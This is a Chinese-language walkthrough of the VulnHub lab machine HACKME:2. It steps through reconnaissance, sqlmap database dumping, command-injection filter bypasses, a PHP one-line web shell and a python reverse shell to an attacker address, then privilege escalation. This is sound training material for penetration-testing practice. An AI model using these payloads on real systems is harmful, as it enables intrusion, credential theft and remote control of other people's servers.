靶機HACKME:2的目錄
- 0x01靶機描述
- 0x02環境搭建
- 0x03靶機滲透
- 一、 資訊收集
- 1. 主機發現
- 2. 埠掃描
- 3. 詳細掃描
- 4. gobuster進行目錄掃描
- 5. 網站指紋識別
- 二、 漏洞挖掘
- sql注入
- 1. 進入主頁發現是登錄頁面,沒有用戶名及密碼,但是頁面有注冊鏈接,進行注冊用戶
- 2.使用所注冊的用戶登陸成功
- 3. 利用sqlmap進行測驗是否具有sql注入漏洞
- 4. 查詢當前資料庫
- 5. 查詢當前資料庫
- 6. 查詢當前資料中所有的表
- 7. 查詢users表中所有的列
- 8. 查詢users表中的資料
- 檔案上傳漏洞
- 1. 我們對剛所得到的superadmin用戶進行登錄
- 2. 經過驗證,上傳假圖片頭木馬和圖片馬時,修改后綴均已失敗告終,可以上傳圖片可以成功
- 命令執行漏洞
- 1. 手工測驗
- 2. 進行驗證
- 三、 漏洞利用
- 1. 可以進行命令執行,所以我們可以嘗試查看各種有用檔案
- 2. 上傳一句話木馬,蟻劍連接失敗
- 3. 對上傳的檔案訪問并用菜刀連接
- 4. 換種思路 命令執行+檔案上傳
- 5. 反彈shell
- 四、 提權
- 1. 先用python打開一個標準的shell
- 2. 我們篩選出可登錄的用戶
- 3. 來到家目錄下,發現有一個legacy目錄(并不是用戶)
- 4. 進入了legacy目錄,發現可執行的二進制檔案,執行,提權成功
- 0x04實驗總結
0x01靶機描述
靶機基本資訊:
| 鏈接 | https://www.vulnhub.com/entry/hackme-2,618/ |
|---|---|
| 作者 | x4bx54 |
| 發布日期 | 2020年12月6日 |
| 難度 | 中等 |
靶機基本介紹:

hackme2”是一個中等難度的關卡,這是hackme系列的第二部分,其中有更多的控制元件用于阻止惡意攻擊,此外,你還必須跳出框框來利用這些漏洞,目標是通過web漏洞獲得有限的權限訪問,并隨后以根用戶身份升級權限,創建該實驗室是為了模擬真實世界的web漏洞,
“hackme2”使用DHCP,并且在mysqld可能自行關閉的情況下(非常罕見的情況),嘗試強制重新啟動機器,然后機器應該可以正常作業,
0x02環境搭建
- 下載并匯入靶機
打開vmware–檔案–打開–hackme2-DHCP.ova


-
查看網路配接器
將靶機網路配接器改為NAT模式

-
啟動靶機
點擊 ?靶機,開啟成功

0x03靶機滲透
一、 資訊收集
1. 主機發現
arp-scan -l

2. 埠掃描
masscan --rate=100000 -p 0-65535 192.168.30.207

3. 詳細掃描
nmap -T4 -sV -O -p 22,80 192.168.30.207

4. gobuster進行目錄掃描
gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.30.207 -t 30

5. 網站指紋識別
whatweb http://192.168.30.207

二、 漏洞挖掘
sql注入
1. 進入主頁發現是登錄頁面,沒有用戶名及密碼,但是頁面有注冊鏈接,進行注冊用戶


2.使用所注冊的用戶登陸成功

3. 利用sqlmap進行測驗是否具有sql注入漏洞
sqlmap -u 'http://192.168.30.207/welcome.php' --data="search=OSINT" --cookie="PHPSESSID=boujv14h358os0cru6q5afevt9" --level=3 --risk=3


可以看出該出存在sql注入漏洞
4. 查詢當前資料庫
sqlmap -u 'http://192.168.30.207/welcome.php' --data="search=OSINT" --dbs --cookie="PHPSESSID=boujv14h358os0cru6q5afevt9" --dbs --tamper space2comment.py --level=5 --risk=3


5. 查詢當前資料庫
sqlmap -u 'http://192.168.30.207/welcome.php' --data="search=OSINT" --dbs --cookie="PHPSESSID=boujv14h358os0cru6q5afevt9" --current-db --tamper space2comment.py --level=5 --risk=3


6. 查詢當前資料中所有的表
sqlmap -u 'http://192.168.30.207/welcome.php' --data="search=OSINT" --dbs --cookie="PHPSESSID=boujv14h358os0cru6q5afevt9" --tamper space2comment.py --level=5 --risk=3 -D webapphacking --tables


7. 查詢users表中所有的列
sqlmap -u 'http://192.168.30.207/welcome.php' --data="search=OSINT" --dbs --cookie="PHPSESSID=boujv14h358os0cru6q5afevt9" --tamper space2comment.py --level=5 --risk=3 -D webapphacking -T users --columns


8. 查詢users表中的資料
sqlmap -u 'http://192.168.30.207/welcome.php' --data="search=OSINT" --dbs --cookie="PHPSESSID=boujv14h358os0cru6q5afevt9" --tamper space2comment.py --level=5 --risk=3 -D webapphacking -T users -C user,name,password --dump


然后我們對用戶superadmin進行解密
2386acb2cf356944177746fc92523983 Uncrackable

檔案上傳漏洞
1. 我們對剛所得到的superadmin用戶進行登錄
在這里發現了檔案上傳點,也發現了一處查詢用戶狀態入口

2. 經過驗證,上傳假圖片頭木馬和圖片馬時,修改后綴均已失敗告終,可以上傳圖片可以成功


雖然可以上傳圖片,但是uploads檔案夾并不存在,而且我們還沒有找到檔案包含點,所以我們需要繼續尋找其他漏洞,換種解題思路
命令執行漏洞
1. 手工測驗
Last Name 輸入框中可能存在命令執行漏洞

2. 進行驗證
此處確實含有命令執行漏洞

但是在進一步的驗證中發現命令執行卻不起作用,所以在這里猜測可能是由于過濾空格導致的

一些繞過命令執行過濾空格的方法:
< --> 重定向,如cat<flag.php
<> --> 重定向,如cat<>flag.php
%09 --> 需要php環境,如cat%09flag.php
${IFS} --> 單純cat$IFS2,IFS2被bash解釋器當做變數名,輸不出來結果,加一個{}就固定了變數名,如cat${IFS2}flag.php
$IFS$9 --> 后面加個$與{}類似,起截斷作用,$9是當前系統shell行程第九個引數持有者,始終為空字串,如cat$IFS2$9flag.php
其中兩種方法均可以成功繞過
system('cat${IFS}/etc/passwd')
system('cat$IFS$9/etc/passwd')


三、 漏洞利用
1. 可以進行命令執行,所以我們可以嘗試查看各種有用檔案
在查看的程序中我們發現,當前頁面welcomeadmin.php原始碼泄露,我們進行查看,發現了圖片上傳后的路徑,并且可以看出這里并且可以看到并沒有過濾asp,aspx后綴檔案
cat${IFS}welcomeadmin.php
檔案上傳路徑:
/var/www/html/uploads/year2020/
即:http://192.168.30.207/uploads/year2020/

2. 上傳一句話木馬,蟻劍連接失敗
這里我們可以進行上傳asp與aspx木馬檔案,并用蟻劍進行連接,但是結果以失敗告終


木馬檔案上傳成功
3. 對上傳的檔案訪問并用菜刀連接


連接失敗
4. 換種思路 命令執行+檔案上傳
我們現在可以進行命令執行(執行命令反彈shell失敗,可能是不存在這種反彈shell方法,或者是我執行有誤,并沒有執行成功),也知道了檔案上傳后的路徑,我們可以利用命令執行漏洞修改上傳到服務器的檔案名,然后進行反彈shell
4.1 前面我們上傳的phpinfo.jpg檔案,我我們嘗試修改后綴,并進行訪問
system('mv${IFS}/var/www/html/uploads/year2020/phpinfo.jpg${IFS}/var/www/html/uploads/year2020/phpinfo.php')

4.2成功訪問phpinfo頁面
http://192.168.30.207/uploads/year2020/phpinfo.php

5. 反彈shell
5.1上傳圖片馬sysexec.jpg
圖片馬中的腳本:
<?php @system($_GET[cmd]);?>

5.2 利用命令執行進行修改后綴
system('mv${IFS}/var/www/html/uploads/year2020/sysexec3.jpg${IFS}/var/www/html/uploads/year2020/sysexec3.php')

5.3 借用hackbar工具訪問url,反彈shell
這里給大家推薦一個在線生成反彈shell命令的網站
https://weibell.github.io/reverse-shell-generator/
192.168.30.207/uploads/year2020/sysexec3.php?cmd=export RHOST="192.168.30.182";
export RPORT=8888;
python -c 'import sys,socket,os,pty;
s=socket.socket();
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];
pty.spawn("/bin/sh")'


成功反彈shell
四、 提權
1. 先用python打開一個標準的shell
python -c 'import pty;pty.spawn("/bin/bash")'

2. 我們篩選出可登錄的用戶
cat /etc/passwd | grep bash

3. 來到家目錄下,發現有一個legacy目錄(并不是用戶)

4. 進入了legacy目錄,發現可執行的二進制檔案,執行,提權成功

0x04實驗總結
這個靶機的難度適中,通過這個靶機的聯系,感覺更可以增強自己對這些漏洞執行的連貫性,靶機主要考察了目錄掃描,sql注入(這里要繞過空格過濾),檔案上傳與命令執行的結合,反彈shell及提權,該靶機可以串通各部分知識,值得一做
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/298051.html
標籤:其他
